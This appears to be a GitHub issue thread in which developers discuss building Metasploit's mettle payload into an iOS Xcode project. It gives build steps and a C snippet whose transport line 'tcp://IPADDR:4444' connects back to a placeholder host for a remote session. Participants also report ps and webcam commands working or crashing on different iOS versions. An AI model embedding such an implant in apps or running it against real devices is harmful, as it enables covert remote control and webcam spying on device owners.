Open busterb opened 7 years ago
I have not tried as root yet. I was just adding the build/*-iphone-darwin/lib libraries to an xcode project and running it on a non-jailbroken device with this:
struct mettle *m = mettle();
if (m) {
log_set_level(2);
log_init_file(stderr);
log_init_flush_thread();
mettle_add_transport_uri(m, "tcp://IPADDR:4444");
mettle_start(m);
mettle_free(m);
}
On 9.3.4 the ps command fails with operation not permitted. On 7.1.2 it works fine. The webcam_ commands work on both.
@timwr : Could you explain how you got mettle to work by simply adding the static libs? Did you also include the header files and what did you import in the bridging header? Thanks a lot in advance.
Btw. I'm trying my luck on iOS 11.3
@doktordos it's a bit fiddly, first build mettle make TARGET=aarch64-iphone-darwin
then add:
mettle/build/aarch64-iphone-darwin/include
as a header path in xcode.
Then you'll need to add all the .a files in mettle/build/aarch64-iphone-darwin/lib
Finally, disable bitcode, and include CoreMedia, CoreImage, CoreGraphics and AVFoundation, and it should build.
You can ping me metasploit.slack.com if you get stuck
@ timwr: The steps you described worked just fine and without your code snippet from above Xcode builds without any errors. But when I paste the snippet in Xcode it complains with the following error:
Implicit declaration of function 'mettle' is invalid in C99
I googled the error and this seems to be related to not finding the appropriate header files. Therefore I searched all files in "include" with notepad++ for the phrase "mettle" and got zero results. Am I missing some other header files or an import statement at the top of the actual code?
Attached you can find some screenshots:
You need to include mettle.h Join slack, GitHub isn't the best place for support.
These things work on macOS, but crash on my iPhone 4 with iOS 7.1.2:
webcam_* operations die with a SIGSEGV
ps dies with a SIGKILL